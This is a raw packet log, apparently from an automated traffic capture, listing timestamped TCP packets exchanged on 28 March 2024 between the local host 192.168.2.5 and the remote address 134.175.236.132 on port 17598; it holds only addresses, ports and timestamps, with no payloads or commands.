Mar 28, 2024 11:28:57.276617050 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.581639051 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.581660032 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.581674099 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.581686974 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.581700087 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.581732988 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.581741095 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.581777096 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.581777096 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.581814051 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.582166910 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.582221985 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.582375050 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.582423925 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.582732916 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.582781076 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.582926035 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.582979918 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.583240032 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.583252907 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.583285093 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.583308935 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.583365917 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.583436966 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.583990097 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.584044933 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.584175110 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.584235907 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.584767103 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.584820032 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.584820986 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.584866047 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.585025072 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.585077047 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.585400105 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.585463047 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.585479975 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.585520029 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.585707903 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.585758924 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.586390018 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.586438894 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.586458921 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.586509943 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.586510897 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.586580038 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.586581945 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.586625099 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.586627960 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.586705923 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.586997986 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.587044001 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.587116003 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.587137938 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.587157965 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.587214947 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.587222099 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.587270021 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.587270021 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.587296009 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.587313890 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.587390900 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620623112 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620640993 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620666027 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620697975 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620718956 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620718956 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620722055 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620737076 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620748043 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620770931 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620774984 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620788097 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620798111 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620826006 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620829105 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620837927 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620850086 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620857954 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620857954 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620867968 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620882988 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620893002 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620908022 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620913982 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620923042 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620924950 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620933056 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620939016 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620961905 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620979071 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.620986938 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.620997906 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621001005 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621023893 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621033907 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621049881 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621063948 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621074915 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621085882 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621098042 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621110916 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621110916 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621112108 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621134996 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621138096 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621155977 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621162891 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621170044 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621191978 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621208906 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621222973 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621233940 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621249914 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621273994 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621275902 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621288061 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621299028 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621320963 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621323109 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621335030 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621349096 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621349096 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621376991 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621397972 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621407986 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621407986 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621407986 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621421099 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621438026 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621453047 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621455908 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621464968 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621491909 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621495962 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621505976 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621535063 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621560097 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621572971 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621584892 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621594906 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621602058 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621608019 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621615887 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621620893 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621633053 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621644020 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621649027 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621674061 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621674061 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621678114 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621681929 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621718884 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621721029 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621756077 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621758938 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621790886 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621799946 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621812105 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621824026 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621835947 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621836901 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621855021 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621867895 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621870995 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621881962 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621893883 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621910095 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621917963 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621934891 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621958971 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.621984959 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.621997118 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622008085 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622028112 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622033119 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622040987 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622045994 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622070074 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622085094 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622109890 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622117043 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622123003 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622133970 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622157097 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622158051 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622179031 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622190952 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622203112 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622205973 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622232914 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622246027 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622266054 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622277021 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622287989 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622298956 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622327089 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622342110 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622353077 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622365952 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622379065 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622394085 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622415066 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622445107 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622458935 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622469902 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622476101 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622483015 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622497082 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622508049 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622514009 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622520924 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622534990 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622544050 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622560978 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622562885 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622572899 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622587919 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622606039 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622606993 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622644901 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622652054 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622663975 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622677088 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622688055 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622689962 CET	17598	49705	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.622708082 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.622725964 CET	49705	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.858894110 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.911437988 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.911457062 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.911475897 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.911488056 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.911500931 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.911506891 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.911513090 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.911537886 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.911572933 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.911680937 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.911719084 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.911978006 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.911990881 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.912003994 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:57.912024021 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.912040949 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.912077904 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:57.936703920 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.189523935 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.189613104 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.189810038 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281593084 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281611919 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281631947 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281646013 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281653881 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281682014 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281692028 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281694889 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281699896 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281723022 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281735897 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281744003 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281744003 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281768084 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281790972 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281794071 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281811953 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281824112 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281840086 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281850100 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281860113 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281863928 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281872034 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281884909 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281898022 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281919956 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281925917 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281929016 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281939983 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281965017 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281965017 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.281976938 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.281990051 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282001019 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282007933 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282015085 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282041073 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282052994 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282074928 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282075882 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282088041 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282103062 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282107115 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282118082 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282129049 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282131910 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282157898 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282164097 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282190084 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282195091 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282201052 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282212973 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282236099 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282243967 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282259941 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282263041 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282275915 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282283068 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282294989 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282296896 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282308102 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282320976 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282322884 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282336950 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282354116 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282365084 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282390118 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282402039 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282407045 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282426119 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282435894 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282444000 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282457113 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282460928 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282483101 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282500982 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282520056 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282522917 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282558918 CET	17598	49706	134.175.236.132	192.168.2.5
Mar 28, 2024 11:28:58.282561064 CET	49706	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:28:58.282599926 CET	49706	17598	192.168.2.5	134.175.236.132
